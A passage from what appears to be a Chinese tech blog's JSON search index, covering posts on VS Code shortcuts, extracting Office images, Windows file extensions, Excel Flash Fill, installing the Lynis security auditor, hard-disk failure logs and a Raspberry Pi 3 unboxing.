c 複製一整行（沒有選取文字的情況）。 ⇧ + ⌘ + k 刪除一整行。 ⌘ + Enter 在下方插入一行。 ⇧ + ⌘ + Enter 在上方插入一行。 ⌥ + ↓ 將一行文字往下移。 ⌥ + ↑ 將一行文字往上移。 ⌘ + ↓ 將游標移動至檔案結尾。 ⌘ + ↑ 將游標移動至檔案開頭。 ⌘ + ] 增加縮排。 ⌘ + [ 減少縮排。 ⌘ + f 搜尋。 ⌥ + ⌘ + 搜尋並取代。 ⌘ + g 搜尋下一個。 ⇧ + ⌘ + g 搜尋上一個。 ⌘ + / 程式碼單行註解加入與取消切換。 ⇧ + ⌥ + a 區塊程式碼註解的加入與取消切換。 這裡我只列出我個人感覺比較常用的部分，其他還有非常多的快速鍵，請參考 VS Code 的說明。\n參考資料 Visual Studio Code Docs ","permalink":"https://blog.gtwang.org/programming/mac-os-x-install-and-use-visual-studio-code-ide/","summary":"\u003cp\u003e這裡介紹在 Mac OS X 中如何安裝與使用免費的微軟 Visual Studio Code 來開發各種類型的程式。\u003c/p\u003e\n\u003cp\u003e微軟提供的 Visual Studio Code 是一個免費的輕量級軟體開發工具，同時支援 Windows、Mac OS X 與 Linux 系統，對於有跨平台開發需求的開發者，Visual Studio Code 是一個非常方便的程式碼編輯工具。\u003c/p\u003e","title":"Mac OS X 安裝與使用免費的 Visual Studio Code 程式開發 IDE 環境"},{"content":"最近我們家自己種的蘆薈開花了，還有蜜蜂來採蜜，我拍了幾張照片紀錄一下。\n在製作手工檸檬蘆薈清潔劑的時候，需要一些蘆薈作為原料，雖然網路上可以訂購蘆薈，但是一次要訂的量又太多，自己一次也用不完，後來就乾脆自己種。\n最近我們家這幾棵蘆薈開花了，我就順便拍幾張照片紀錄一下。\n這幾棵蘆薈就種在家門前的土地上，在南部陽光充足，長得很好。\n開花之後，有蜜蜂來採蜜。\n","permalink":"https://blog.gtwang.org/agriculture/my-aloe-flower-in-xigang-2016/","summary":"\u003cp\u003e最近我們家自己種的蘆薈開花了，還有蜜蜂來採蜜，我拍了幾張照片紀錄一下。\u003c/p\u003e\n\u003cp\u003e在\u003ca href=\"/diy/diy-handmade-lemon-aloe-cleaner-small-family-recipe/\"\u003e製作手工檸檬蘆薈清潔劑\u003c/a\u003e的時候，需要一些蘆薈作為原料，雖然網路上可以訂購蘆薈，但是一次要訂的量又太多，自己一次也用不完，後來就乾脆自己種。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e最近我們家這幾棵蘆薈開花了，我就順便拍幾張照片紀錄一下。\u003c/p\u003e","title":"[台南西港] 自己種的蘆薈開花了，還有蜜蜂來採蜜"},{"content":"這裡介紹如何取出 Word 與 PowerPoint 的大量圖片，儲存為個別的圖檔，方便其他軟體使用。\n有時候我們會拿到一些含有許多圖片的 Word 文件檔或 PowerPoint 簡報檔，如果想要將大量的圖片從中取出，儲存成一般的 JPEG 或 PNG 圖檔，有好幾種作法，以下是各種另存圖檔方法的操作步驟教學。\n使用 Office 另存圖片 Office 中本身就有將圖片另存圖檔的功能，不管是 Word 或 PowerPoint 都有這個功能，這個功能可以讓使用者很方便的將少量的圖片儲存成圖檔。\nStep 1\n開啟含有圖檔的 PowerPoint 或 Word 檔。\nStep 2\n在圖片上點選右鍵，選擇「另存成圖片」。\nStep 3\n選擇要儲存的位置，這樣就可以將單張的圖片儲存成圖檔。\n將 PowerPoint 簡報轉為圖片檔案 如果您希望將整頁的 PowerPoint 簡報轉換為圖片檔，而不是只儲存裡面的圖片時，就可以採用以下的方式，這個作法特別適用於那些用 Office 內建繪圖功能所畫出來的圖表。\nStep 1\n在 PowerPoint 中選擇「檔案」。\nStep 2\n選擇「另存新檔」，並選擇要儲存檔案的目錄。\nStep 3\n選擇存檔類型。\nStep 4\n選擇「JPEG 檔案交換格式」。\n「JPEG 檔案交換格式」是最常用的圖檔格式，除了這個格式之外，也可以選擇「可攜式網路圖形格式」（PNG）、「GIF 圖形交換格式」等，另外也可以直接輸出成 MP4 影片檔。\nStep 5\n選擇要輸出的投影片。\nStep 6\n輸出圖檔之後，會顯示儲存的路徑。\nStep 7\n開啟這個輸出圖片檔的路徑，就可以看到所有的簡報圖檔。\nStep 8\n由 PowerPoint 所輸出的簡報圖檔，圖片的解析度是 960×720。\n以下我們接著要介紹一次將大量圖片儲存成個別的檔案的方法，請繼續閱讀下一頁。\n大量解壓縮圖檔 Office 的 docx 與 pptx 檔案事實上是一個 zip 壓縮檔，如果您的 Word 檔或 PowerPoint 檔中含有非常多的圖片，而您想要一次把所有圖片都儲存成個別的檔案的話，可以透過解壓縮軟體直接把所有的圖檔解壓縮出來，以下是操作步驟。\nStep 1\n參考 Windows 10 顯示或隱藏副檔名設定教學，讓檔案總管顯示檔案的副檔名，並且可以修改。\nStep 2\n將 Word 檔或 PowerPoint 檔的副檔名改為 zip。\nStep 3\n改變副檔名時，會出現這樣的警告訊息。\nStep 4\n更改副檔名之後，檔案的圖示也會變成壓縮檔的圖案。\nStep 5\n在這個 zip 檔案上按右鍵，選擇「解壓縮全部」。\nStep 6\n選擇解壓縮的目的路徑。\nStep 7\n等待解壓縮。\nStep 8\n開啟解壓縮之後的目錄，裡面有一個 ppt 目錄，點選它進入這個目錄。\nStep 9\n接著進入 media 目錄。\nStep 10\n在 media 目錄中就含有所有 PowerPoint 簡報檔中所有的多媒體檔案，也就是說所有的圖片檔案都在這裡。\n這樣透過解壓縮軟體的方式，可以讓大量的圖片一次儲存成個別的檔案，非常快速也很方便。\n參考資料 addictivetips HTG Microsoft Office ","permalink":"https://blog.gtwang.org/windows/how-to-extract-all-images-from-ms-office-documents/","summary":"\u003cp\u003e這裡介紹如何取出 Word 與 PowerPoint 的大量圖片，儲存為個別的圖檔，方便其他軟體使用。\u003c/p\u003e\n\u003cp\u003e有時候我們會拿到一些含有許多圖片的 Word 文件檔或 PowerPoint 簡報檔，如果想要將大量的圖片從中取出，儲存成一般的 JPEG 或 PNG 圖檔，有好幾種作法，以下是各種另存圖檔方法的操作步驟教學。\u003c/p\u003e","title":"如何取出 Word 與 PowerPoint 中的大量圖片，儲存為個別檔案"},{"content":"這裡介紹如何讓 Windows 10 的檔案總管可以顯示或隱藏檔案的副檔名。\nWindows 的檔案總管預設在顯示檔案時，會把已知檔案類型的副檔名隱藏起來，這樣的設計可以讓大多數人使用起來比較方便，但對於專業的系統開發人員或程式設計師而言，還是會希望能夠看到每個檔案的副檔名，方便隨時修改。\n以下是在 Windows 10 設定顯示或隱藏檔案副檔名的操作步驟。\nStep 1\n開啟 Windows 的檔案總管，預設的狀況下，所有檔案的副檔名都不會顯示出來。\nStep 2\n接下來開始進行設定，選擇「檢視」。\nStep 3\n選擇「選項」。\nStep 4\n選擇「檢視」籤頁，將「隱藏已知檔案類型的副檔名」選項取消。\nStep 4\n這樣就可以讓所有的副檔名顯示出來。\n","permalink":"https://blog.gtwang.org/windows/windows-10-show-filename-extension-tutorial/","summary":"\u003cp\u003e這裡介紹如何讓 Windows 10 的檔案總管可以顯示或隱藏檔案的副檔名。\u003c/p\u003e\n\u003cp\u003eWindows 的檔案總管預設在顯示檔案時，會把已知檔案類型的副檔名隱藏起來，這樣的設計可以讓大多數人使用起來比較方便，但對於專業的系統開發人員或程式設計師而言，還是會希望能夠看到每個檔案的副檔名，方便隨時修改。\u003c/p\u003e","title":"Windows 10 顯示或隱藏副檔名設定教學"},{"content":"這裡介紹如何使用 Excel 2013 所新增的快速填入功能，根據使用者輸入的內容，自動分割大量的資料，節省複製貼上的時間。\n平常我們使用 Excel 表格在整理資料時，常常會需要使用複製貼上的功能來把資料轉換為自己需要的格式，例如把資料依照特定的格式切割，分成多個欄位來儲存等，這類的問題處理起來動作雖然簡單，但是資料一多的時候就會花很多時間，而且容易出錯。\nExcel 2013 版新增了一個快速填入功能，它可以根據使用者所輸入內容，自動判斷資料的規則，然後將大量資料分割後，填入儲存格內，使用方法非常簡單，以下是操作的步驟教學。\n拆解電話號碼 首先我們以電話號碼的資料來作為示範，假設我們有大量的電話號碼資料，原始的電話號碼是有加上區碼的，而我們可以利用 Excel 快速填入功能，將區碼與市內電話分開。\nStep 1\n開啟含有電話號碼的 Excel 檔，接下來我們要從第一個「電話」欄位中取出「區碼」與「市內電話」，然後填入後面的欄位中。\nStep 2\n我們先處理「區碼」的部分，一開始先在區碼欄位手動輸入一個值，然後將輸入的這個儲存格連同以下尚未輸入的空儲存格選取起來，接著點選「資料」籤頁，點選「快速填入」。\nStep 3\n點選「快速填入」之後，Excel 就會自動依照您剛剛手動輸入的資料，判斷資料切割的規則，將剩下的儲存格自動填入適當的資料，不管以下有多少筆資料，都可以一次處理。\nStep 4\n而「市內電話」的欄位資料也可以利用相同的方式來自動切割與填入資料。\nStep 5\n這樣只要幾秒鐘就可以快速分割並填入大量的資料，非常方便。\n拆解姓名 除了電話號碼之外，我們再拿另外一個人名的例子來示範，自動將中文的姓與名分開。\nStep 1\n開啟含有人名資料的 Excel 檔，在姓的欄位上，同樣先手動輸入一筆資料，再點選「快速填入」。\nStep 2\n這樣「姓」的欄位就完成了。\nStep 3\n而「名」的欄位也是以相同的方式來操作。\n拆解英文姓名 最後我們示範英文姓名的資料。\nStep 1\n開啟含有英文姓名的 Excel 檔。\nStep 2\n手動填入一筆資料後，使用「快速填入」將其餘的欄位填入。\nStep 3\n英文的資料會牽涉到大小寫的問題，如果您希望轉換大小寫，就在手動輸入資料時，輸入想要轉換的結果。\nStep 4\nExcel 也會很聰明地判斷大小寫，自動轉換。\n另外如果 Excel 發現使用者在輸入一些規則性的資料，但是沒有使用「快速填入」功能時，它也會自動出現這樣的輸入提示功能，如果您發現這些資料就是您想要輸入的，就可以直接按下 Enter 鍵。\n這樣就可以馬上將剩餘的資料一次填入。\n善用這個 Excel 的快速填入功能，有時候可以讓您節省非常大量的時間，而且也不必擔心人工出錯的問題。基本上這個快速填入功能適用於任何類型的資料，不管您的資料格式如何，只要有明顯的規則可循，就可以使用，大家可以馬上開啟 Excel 試試看。\n參考資料 Microsoft Office ","permalink":"https://blog.gtwang.org/windows/excel-2013-flash-fill-tutorial/","summary":"\u003cp\u003e這裡介紹如何使用 Excel 2013 所新增的快速填入功能，根據使用者輸入的內容，自動分割大量的資料，節省複製貼上的時間。\u003c/p\u003e\n\u003cp\u003e平常我們使用 Excel 表格在整理資料時，常常會需要使用複製貼上的功能來把資料轉換為自己需要的格式，例如把資料依照特定的格式切割，分成多個欄位來儲存等，這類的問題處理起來動作雖然簡單，但是資料一多的時候就會花很多時間，而且容易出錯。\u003c/p\u003e","title":"Excel 快速填入功能，根據輸入內容自動分割資料"},{"content":"這裡介紹 Lynis 這個 Linux 系統上的安全性掃描檢測工具，它可以幫助系統管理者找出系統漏洞、弱點與惡意程式等威脅。\nLynis 是一個適用於 UNIX/Linux 系統的開放原始碼安全性檢測工具，它可以掃描系統上的基本資訊、安全性相關問題、軟體列表、設定檔錯誤、沒設定密碼的使用者帳號、錯誤的檔案權限、防火牆設定等等。\n以下是 Lynis 的安裝與使用方式。\n安裝 Lynis 如果是在 Debian 系列的 Linux（例如 Ubuntu、Linux Mint 等）中，可以使用 apt 安裝：\nsudo apt-get install lynis 雖然使用 apt 安裝很方便，但是通常 Debian 或 Ubuntu 等 Linux 發行板套件庫中的軟體不會是最新的，而這類的安全性檢測工具對於版本的要求又比一般軟體高，建議可以從 Lynis 的官方網站直接下載最新的版本來安裝：\nwget https://cisofy.com/files/lynis-2.2.0.tar.gz 解壓縮之後，就可以直接使用了：\ntar zxvf lynis-2.2.0.tar.gz 由於 Lynis 是一個專門給系統管理者使用的檢測工具，需要以管理者權限來執行，為了確保 Lynis 的執行檔與相關的資料檔不會被其他人竄改，Lynis 在執行時會要求這些檔案的擁有者一定要是 root，所以這裡我們先將所有的檔案擁有者改為 root，方便後續的執行動作。\nsudo chown -R 0:0 lynis 從 Lynis 官方下載壓縮檔的安裝方式，適用於每一種 Linux 系統，甚至其他 UNIX-like 的系統（例如 FreeBSD、Solaris 與 Mac OS X 等）也都可以依照這樣的方式使用。\n使用 Lynis 接下來所有的檢測指令都是以 root 管理者的權限來執行的，首先切換至 root 管理者的權限：\nsudo su 進入 lynis 目錄：\ncd lynis/ 執行 lynis 不帶任何參數的話，會輸出基本的使用說明：\n./lynis 一開始使用 Lynis 時，可以加上 --check-all 檢查整個系統，這個動作會需要用管理者權限來執行：\n./lynis --check-all 接著 Lynis 會進行各式各樣的系統安全性檢查，在檢查的過程中請按 Enter 鍵繼續，若要跳出則按 Ctrl + c。\n完成所有的檢查之後，會產生這樣的資訊，詳細的報表可以從 /var/log/lynis.dat 與 /var/log/lynis-report.dat 中查詢。\n如果您的 Lynis 在安裝時，沒有將檔案的擁有者變更為 root，在執行時就會出現這樣的警告，為了避免這些麻煩，請在使用前先變更好 Lynis 相關檔案的擁有者。\n如果不想使用管理者權限來執行 Lynis 的話，也可以使用一般使用者的權限進行部份的檢測，只不過這樣會跳過一些需要管理者權限的檢查，檢測就不是那麼徹底：\nLynis 所檢測的項目非常多，如果像要讓它一次檢查所有的項目，不要逐一詢問，可以使用：\n./lynis -c -Q 這樣就會一次執行到底，直接輸出最後的報表。\n定期掃描 編輯 crontab 的設定檔：\ncrontab -e 加入這一行，讓 Lynis 每天早上 2:30 自動執行系統安全性掃描：\n30 2 * * * root /path/to/lynis -c -Q --auditor \u0026#34;automated\u0026#34; --cronjob 在使用 crontab 執行 lynis 時可以加上 --cronjob 參數，這樣可以讓一些看不見的特殊字元輸出（例如控制顏色的跳脫序列，escape sequences），另外這裡的 lynis 路徑請自行更改成自己系統上的路徑。\n這樣設定好之後，就可以每天從 /var/log/lynis.dat 與 /var/log/lynis-report.dat 中看到最新的安全性檢測報告了。\nLynis 掃描檢測結果 Lynis 進行各項掃描與檢查時，可能會顯示 OK 或是 WARNING 兩種訊息，OK 代表掃描結果正常，而 WARNING 的話則是代表該項目需要注意。然而顯示 OK 的項目不一定保證沒有問題，而 WARNING 的項目也不見得很糟糕，詳細的狀況還是要閱讀 /var/log/lynis.log 中的說明，並且依照上面的指示採取必要的修正動作。\n如果 Lynis 發現某些項目有問題，通常在報表的最後都會有提供相關的修正建議，只要依照這些說明應該就可以修正大部分的問題。\n更新 Lynis 要確保系統安全，除了善用 Lynis 這類的檢測工具之外，定期更新工具的版本也是非常重要的，若要顯示 Lynis 的更新資訊，可以執行：\n./lynis update info 而若要更新 Lynis 的發行版，可以執行：\n./lynis update release 參考資料 Tecmint：How to Do Security Auditing of Linux System Using Lynis Tool ","permalink":"https://blog.gtwang.org/linux/linux-security-auditing-and-scanning-with-lynis-tool/","summary":"\u003cp\u003e這裡介紹 Lynis 這個 Linux 系統上的安全性掃描檢測工具，它可以幫助系統管理者找出系統漏洞、弱點與惡意程式等威脅。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://cisofy.com/lynis/\"\u003eLynis\u003c/a\u003e 是一個適用於 UNIX/Linux 系統的開放原始碼安全性檢測工具，它可以掃描系統上的基本資訊、安全性相關問題、軟體列表、設定檔錯誤、沒設定密碼的使用者帳號、錯誤的檔案權限、防火牆設定等等。\u003c/p\u003e","title":"Lynis：Linux 安全性掃描檢測工具，找出系統漏洞、弱點與惡意程式"},{"content":"這裡整理一些硬碟要壞掉之前會出現的一些症狀，例如有雜音、反應慢、資料損毀、抓不到硬碟、當機等，如果電腦出現這些症狀，最好馬上把重要資料備份出來。\n最近幾個月我的 ACER TMP645-M 筆記型電腦的硬碟出了一些問題，時常發生檔案無法讀取、損毀等狀況，起初以為是軟體的 bug，但是後來重慣之後問題還是一樣存在，甚至更嚴重，直到上週突然聽到硬碟發出「喀啦～喀啦～」的怪聲音，過了沒幾天就整個掛了。\n一般如果硬碟快要壞掉時，可能會出現以下幾種現象：\n抓不到硬碟 開機的時候，電腦會去偵測硬碟，如果硬碟出了問題，可能就會出現找不到硬碟的狀況，也就是出現一堆奇怪的訊息，開不了機。 硬碟發出雜音 正常的硬碟在運轉時，有微小的聲音是正常的，每一顆硬碟的聲音都不太相同，但是如果您發現硬碟的聲音突然跟平常不同，例如：特別大聲、有「喀啦～喀啦～」聲響、或是各種奇奇怪怪的聲音，那這顆硬碟十之八九是快壞了，出現這樣的狀況最好「馬上」把資料備份出來！ 開啟檔案很慢 如果電腦平常使用都正常，但是在開啟某些特定檔案時會特別慢，這通常是壞軌或是磁區出問題所導致的，如果不嚴重的話可使用軟體修椱後繼續使用，但是也有可能是整顆硬碟損毀的前兆！所以還是要注意。 檔案損毀 明明已經存檔的檔案，在儲存時也都沒有任何錯誤訊息，但是後來開啟時卻發生檔案損毀的情況，這也有可能是硬碟出問題。 硬碟反應遲緩 常常硬碟的指示燈一直亮著，電腦的反應有時候變得非常慢，甚至出現當機的狀況，但有時又可以正常使用，這種狀況也有可能是硬碟壞掉所造成的。 以上是比較常見的硬碟損壞徵兆，一顆硬碟壞掉時不見得每一種狀況都會出現，以我這次的經驗而言，前兩三個月只是發生檔案損毀的狀況，其餘一切正常，到了最近一兩週硬碟突然變得很慢，然後這幾天聽到很大聲的雜音之後，它就整個壞了，開機後連 Windows 系統都進不去。\n我這台筆電用到現在才兩年，原本以為資料放在裡面應該很安全，沒想到硬碟說壞就壞，不過硬碟的損壞本來就很難預期，幸好資料都有備份出來。\n後來我用 USB 隨身碟的 Linux 系統開機，進去看硬碟的狀況，我把硬碟掛載起來之後，就出現一大堆錯誤訊息。\n各種奇奇怪怪的訊息都有，不過基本上只要看到是「輸入/輸出錯誤」（I/O error），就有很大的機率是硬體的問題，也就是硬碟壞了。\n在終端機中進入掛載的硬碟，執行 ls 也是會出現「輸入/輸出錯誤」。\n有些磁碟分割區是連掛載都沒辦法。\n我檢查了一下 /var/log/syslog 這個系統記錄檔，開起來一看，整片都是紅色的，一大堆 I/O error。\n我擷取了記錄檔中一部份的錯誤訊息，放在這裡記錄一下：\nMar 17 10:45:10 gtwang-TMP645-M kernel: [ 114.387137] sd 1:0:0:0: [sdb] tag#9 FAILED Result: hostbyte=DID_OK driverbyte=DRIVER_SENSE Mar 17 10:45:10 gtwang-TMP645-M kernel: [ 114.387138] sd 1:0:0:0: [sdb] tag#9 Sense Key : Illegal Request [current] [descriptor] Mar 17 10:45:10 gtwang-TMP645-M kernel: [ 114.387140] sd 1:0:0:0: [sdb] tag#9 Add. Sense: Unaligned write command Mar 17 10:45:10 gtwang-TMP645-M kernel: [ 114.387141] sd 1:0:0:0: [sdb] tag#9 CDB: Read(10) 28 00 1a 99 eb 40 00 00 08 00 Mar 17 10:45:10 gtwang-TMP645-M kernel: [ 114.387142] blk_update_request: I/O error, dev sdb, sector 446294848 [略] Mar 17 10:47:11 gtwang-TMP645-M kernel: [ 234.931664] ata1: COMRESET failed (errno=-16) Mar 17 10:47:11 gtwang-TMP645-M kernel: [ 234.931680] ata1: limiting SATA link speed to 3.0 Gbps Mar 17 10:47:11 gtwang-TMP645-M kernel: [ 234.931684] ata1: hard resetting link Mar 17 10:47:16 gtwang-TMP645-M kernel: [ 239.963788] ata1: COMRESET failed (errno=-16) Mar 17 10:47:16 gtwang-TMP645-M kernel: [ 239.963805] ata1: reset failed, giving up Mar 17 10:47:16 gtwang-TMP645-M kernel: [ 239.963810] ata1.00: disabled Mar 17 10:47:16 gtwang-TMP645-M kernel: [ 239.971732] ata1: EH complete Mar 17 10:47:16 gtwang-TMP645-M kernel: [ 239.971763] scsi_io_completion: 21 callbacks suppressed Mar 17 10:47:16 gtwang-TMP645-M kernel: [ 239.971774] sd 1:0:0:0: [sdb] tag#20 FAILED Result: hostbyte=DID_BAD_TARGET driverbyte=DRIVER_OK Mar 17 10:47:16 gtwang-TMP645-M kernel: [ 239.971782] sd 1:0:0:0: [sdb] tag#20 CDB: Read(10) 28 00 24 be 20 00 00 00 01 00 Mar 17 10:47:16 gtwang-TMP645-M kernel: [ 239.971786] blk_update_request: 21 callbacks suppressed Mar 17 10:47:16 gtwang-TMP645-M kernel: [ 239.971789] blk_update_request: I/O error, dev sdb, sector 616439808 Mar 17 10:47:16 gtwang-TMP645-M kernel: [ 239.971809] sd 1:0:0:0: [sdb] tag#21 FAILED Result: hostbyte=DID_BAD_TARGET driverbyte=DRIVER_OK Mar 17 10:47:16 gtwang-TMP645-M kernel: [ 239.971814] sd 1:0:0:0: [sdb] tag#21 CDB: Read(10) 28 00 1a 9d e8 18 00 00 08 00 Mar 17 10:47:16 gtwang-TMP645-M kernel: [ 239.971818] blk_update_request: I/O error, dev sdb, sector 446556184 Mar 17 10:47:16 gtwang-TMP645-M kernel: [ 239.971833] blk_update_request: I/O error, dev sdb, sector 517859744 Mar 17 10:47:16 gtwang-TMP645-M kernel: [ 239.971844] FAT-fs (sdb5): unable to read boot sector Mar 17 10:47:16 gtwang-TMP645-M kernel: [ 239.971858] Aborting journal on device sdb8-8. [略] Mar 17 10:47:31 gtwang-TMP645-M kernel: [ 254.594073] blk_update_request: I/O error, dev sdb, sector 446294824 Mar 17 10:47:31 gtwang-TMP645-M kernel: [ 254.594080] sd 1:0:0:0: [sdb] tag#8 FAILED Result: hostbyte=DID_BAD_TARGET driverbyte=DRIVER_OK Mar 17 10:47:31 gtwang-TMP645-M kernel: [ 254.594084] sd 1:0:0:0: [sdb] tag#8 CDB: Read(10) 28 00 1a 99 eb 30 00 00 08 00 Mar 17 10:47:31 gtwang-TMP645-M kernel: [ 254.594086] blk_update_request: I/O error, dev sdb, sector 446294832 Mar 17 10:47:31 gtwang-TMP645-M kernel: [ 254.594093] sd 1:0:0:0: [sdb] tag#9 FAILED Result: hostbyte=DID_BAD_TARGET driverbyte=DRIVER_OK Mar 17 10:47:31 gtwang-TMP645-M kernel: [ 254.594097] sd 1:0:0:0: [sdb] tag#9 CDB: Read(10) 28 00 1a 99 eb 38 00 00 08 00 Mar 17 10:47:31 gtwang-TMP645-M kernel: [ 254.594099] blk_update_request: I/O error, dev sdb, sector 446294840 Mar 17 10:47:31 gtwang-TMP645-M kernel: [ 254.594106] sd 1:0:0:0: [sdb] tag#10 FAILED Result: hostbyte=DID_BAD_TARGET driverbyte=DRIVER_OK Mar 17 10:47:31 gtwang-TMP645-M kernel: [ 254.594111] sd 1:0:0:0: [sdb] tag#10 CDB: Read(10) 28 00 1a 99 eb 40 00 00 08 00 Mar 17 10:47:31 gtwang-TMP645-M kernel: [ 254.594113] blk_update_request: I/O error, dev sdb, sector 446294848 Mar 17 10:47:31 gtwang-TMP645-M kernel: [ 254.594188] EXT4-fs error (device sdb8): __ext4_get_inode_loc:4009: inode #787899: block 3145851: comm pool: unable to read itable block Mar 17 10:47:31 gtwang-TMP645-M kernel: [ 254.594195] EXT4-fs (sdb8): previous I/O error to superblock detected Mar 17 10:47:31 gtwang-TMP645-M kernel: [ 254.594227] Buffer I/O error on dev sdb8, logical block 0, lost sync page write Mar 17 10:47:31 gtwang-TMP645-M kernel: [ 254.594795] EXT4-fs error (device sdb8): __ext4_get_inode_loc:4009: inode #787906: block 3145852: comm pool: unable to read itable block Mar 17 10:47:31 gtwang-TMP645-M kernel: [ 254.594803] EXT4-fs (sdb8): previous I/O error to superblock detected Mar 17 10:47:31 gtwang-TMP645-M kernel: [ 254.594824] Buffer I/O error on dev sdb8, logical block 0, lost sync page write Mar 17 10:47:32 gtwang-TMP645-M kernel: [ 255.908298] EXT4-fs error (device sdb8): __ext4_get_inode_loc:4009: inode #787899: block 3145851: comm pool: unable to read itable block Mar 17 10:47:32 gtwang-TMP645-M kernel: [ 255.908307] EXT4-fs (sdb8): previous I/O error to superblock detected Mar 17 10:47:32 gtwang-TMP645-M kernel: [ 255.908322] Buffer I/O error on dev sdb8, logical block 0, lost sync page write Mar 17 10:47:32 gtwang-TMP645-M kernel: [ 255.908763] EXT4-fs error (device sdb8): __ext4_get_inode_loc:4009: inode #787906: block 3145852: comm pool: unable to read itable block Mar 17 10:47:32 gtwang-TMP645-M kernel: [ 255.908770] EXT4-fs (sdb8): previous I/O error to superblock detected Mar 17 10:47:32 gtwang-TMP645-M kernel: [ 255.908783] Buffer I/O error on dev sdb8, logical block 0, lost sync page write Mar 17 10:47:32 gtwang-TMP645-M kernel: [ 255.936567] EXT4-fs (sdb8): previous I/O error to superblock detected Mar 17 10:47:32 gtwang-TMP645-M kernel: [ 255.936583] Buffer I/O error on dev sdb8, logical block 0, lost sync page write Mar 17 10:47:32 gtwang-TMP645-M kernel: [ 255.936588] EXT4-fs error (device sdb8): ext4_journal_check_start:56: Detected aborted journal Mar 17 10:47:32 gtwang-TMP645-M kernel: [ 255.936592] EXT4-fs (sdb8): Remounting filesystem read-only Mar 17 10:47:32 gtwang-TMP645-M kernel: [ 255.936594] EXT4-fs (sdb8): previous I/O error to superblock detected Mar 17 10:47:32 gtwang-TMP645-M kernel: [ 255.936602] Buffer I/O error on dev sdb8, logical block 0, lost sync page write Mar 17 10:47:32 gtwang-TMP645-M kernel: [ 255.936986] EXT4-fs warning (device sdb8): htree_dirblock_to_tree:959: inode #786658: lblock 0: comm pool: error -5 reading directory block Mar 17 10:47:32 gtwang-TMP645-M kernel: [ 255.938088] EXT4-fs warning (device sdb8): htree_dirblock_to_tree:959: inode #786452: lblock 0: comm pool: error -5 reading directory block Mar 17 10:47:32 gtwang-TMP645-M kernel: [ 255.938421] EXT4-fs warning (device sdb8): htree_dirblock_to_tree:959: inode #786451: lblock 0: comm pool: error -5 reading directory block Mar 17 10:47:32 gtwang-TMP645-M kernel: [ 255.947667] EXT4-fs warning (device sdb8): htree_dirblock_to_tree:959: inode #786450: lblock 0: comm pool: error -5 reading directory block Mar 17 10:47:32 gtwang-TMP645-M kernel: [ 255.962730] EXT4-fs warning (device sdb8): htree_dirblock_to_tree:959: inode #786449: lblock 0: comm pool: error -5 reading directory block 最後拍一張照片留念，接著就交給廠商維修了。\n參考資料 makeuseof ","permalink":"https://blog.gtwang.org/tips/hard-disk-crash-symptoms/","summary":"\u003cp\u003e這裡整理一些硬碟要壞掉之前會出現的一些症狀，例如有雜音、反應慢、資料損毀、抓不到硬碟、當機等，如果電腦出現這些症狀，最好馬上把重要資料備份出來。\u003c/p\u003e","title":"硬碟壞掉的症狀：雜音、反應慢、資料損毀、抓不到硬碟、當機等"},{"content":"這是第三代樹莓派 Raspberry Pi 3 Model B 的簡單開箱文。\n最近樹莓派又推出第三代了，Raspberry Pi 3 跟上一代的 Raspberry Pi 2 比較起來，主要多了四項特色：\n中央處理器升級，使用 1.2GHz、64 位元、四核心的 ARMv8 CPU。 內建 802.11n WiFi 無線網路功能，不再需要接 USB 無線網路卡了。 支援藍芽 4.1（Bluetooth 4.1）。 支援藍牙低功耗（Bluetooth Low Energy，BLE）。 這次看到新的樹莓派竟然內建 WiFi 無線網路與藍芽功能，而且 CPU 還換成 64 位元的，基本上已經可以作為一台簡易的 PC 使用了，對於我這種慣用 Linux 工作的人來說，實在是太棒了，所以一看到拍賣網站有貨，就馬上買一張來測試看看，以下是第三代樹莓派的簡單開箱文。\n我是從露天拍賣上面買的，選擇超商取貨付款，兩天就可以拿到貨。\n打開包裹，裡面有一層泡泡袋。\n這是樹莓派第三代 Raspberry Pi 3 Model B 的盒子，包裝一如往常，只是顏色換了。\n內容物就是一張 Raspberry Pi 3 Model B 開發板，以及一張說明書。\n這是樹莓派 Raspberry Pi 3 Model B 開發板的正面。\n這是樹莓派 Raspberry Pi 3 Model B 開發板的背面。右上角有一顆黑色的就是 BCM43438晶片，提供 WiFi 與藍芽功能。\n這是側面的樣子，所有的接孔都跟前兩代一模一樣。\n樹莓派第三代一樣是有一個 RJ45 接孔與四個 USB 插孔，不過由於內建了 WiFi 與藍芽，所以現在可以省去插 USB 網路卡或藍芽的麻煩。\nGPIO 針腳也都與前兩代相容。\n這一側比較特別的地方就是左邊有一個小小白色的東西，它是 WiFi 的天線。\n這是 1.2GHz、64 位元、四核心 ARM Cortex-A53 CPU。\n這是 LAN9514-JZX 晶片，提供 USE 與 Ethernet controllers。\n樹莓派現在一代比一代超值，硬體大升級、價格都不變，對於一般普通上網或是文書處理需求的人，這樣的板子已經足夠了，花 $35 元美金就有一台電腦可以使用，唯一的缺點就是它不能裝一般的 Windows 系統，對於不熟悉 Linux 的人，就比較難上手使用。\n關於 Raspberry Pi 3 的效能測試報告可以參考 樹莓派的官方網站。\n","permalink":"https://blog.gtwang.org/iot/raspberry-pi-3-model-b/","summary":"\u003cp\u003e這是第三代樹莓派 Raspberry Pi 3 Model B 的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e最近樹莓派又推出第三代了，Raspberry Pi 3 跟上一代的 \u003ca href=\"/iot/raspberry-pi-2-model-b-eleduio-case-unboxing/\"\u003eRaspberry Pi 2\u003c/a\u003e 比較起來，主要多了四項特色：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e中央處理器升級，使用 1.2GHz、64 位元、四核心的 ARMv8 CPU。\u003c/li\u003e\n\u003cli\u003e內建 802.11n WiFi 無線網路功能，不再需要接 USB 無線網路卡了。\u003c/li\u003e\n\u003cli\u003e支援藍芽 4.1（Bluetooth 4.1）。\u003c/li\u003e\n\u003cli\u003e支援藍牙低功耗（Bluetooth Low Energy，BLE）。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e這次看到新的樹莓派竟然內建 WiFi 無線網路與藍芽功能，而且 CPU 還換成 64 位元的，基本上已經可以作為一台簡易的 PC 使用了，對於我這種慣用 Linux 